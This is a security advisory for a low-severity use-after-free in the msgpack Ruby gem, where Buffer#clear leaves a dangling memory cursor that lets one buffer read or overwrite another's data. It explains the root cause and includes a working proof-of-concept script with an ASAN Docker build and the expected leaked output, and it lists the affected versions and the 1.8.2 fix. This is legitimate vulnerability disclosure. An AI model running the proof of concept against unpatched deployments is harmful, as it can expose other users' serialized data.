GHSA-4mrv-5p47-p938

Suggest an improvement
Source
https://github.com/advisories/GHSA-4mrv-5p47-p938
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-4mrv-5p47-p938/GHSA-4mrv-5p47-p938.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-4mrv-5p47-p938
Aliases
Downstream
Published
2026-07-30T16:33:12Z
Modified
2026-07-30T16:45:49.730689613Z
Severity
  • 2.1 (Low) CVSS_V4 - CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure
Details

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

  • msgpack_buffer_clear()_msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
  • Next Buffer#write_msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
  • A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
  • Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Database specific
{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-416"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T16:33:12Z",
    "severity": "LOW"
}
References

Affected packages

RubyGems / msgpack

Package

Name
msgpack
Purl
pkg:gem/msgpack

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.8.2

Affected versions

0.*
0.0.1
0.2.0
0.2.1
0.2.2
0.3.0
0.3.1
0.3.2
0.3.3
0.3.4
0.3.5
0.3.6
0.3.7
0.3.8
0.3.9
0.4.0
0.4.1
0.4.2
0.4.3
0.4.4
0.4.5
0.4.6
0.4.7
0.5.0
0.5.1
0.5.2
0.5.3
0.5.4
0.5.5
0.5.6
0.5.7
0.5.8
0.5.9
0.5.10
0.5.11
0.5.12
0.6.0pre1
0.6.0
0.6.1
0.6.2
0.7.0dev1
0.7.0
0.7.1
0.7.2dev1
0.7.2
0.7.3
0.7.4
0.7.5
0.7.6
1.*
1.0.0
1.0.1
1.0.2
1.0.3
1.1.0
1.2.0
1.2.1
1.2.2
1.2.3
1.2.4
1.2.5
1.2.6
1.2.7
1.2.8
1.2.9
1.2.10
1.3.0
1.3.1
1.3.2
1.3.3
1.4.0.pre1
1.4.0
1.4.1
1.4.2
1.4.3
1.4.4.pre1
1.4.4
1.4.5
1.5.0
1.5.1
1.5.2
1.5.3
1.5.4
1.5.5
1.5.6
1.6.0
1.6.1
1.7.0
1.7.1
1.7.2
1.7.3
1.7.4
1.7.5
1.8.0
1.8.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-4mrv-5p47-p938/GHSA-4mrv-5p47-p938.json"
last_known_affected_version_range
"<= 1.8.1"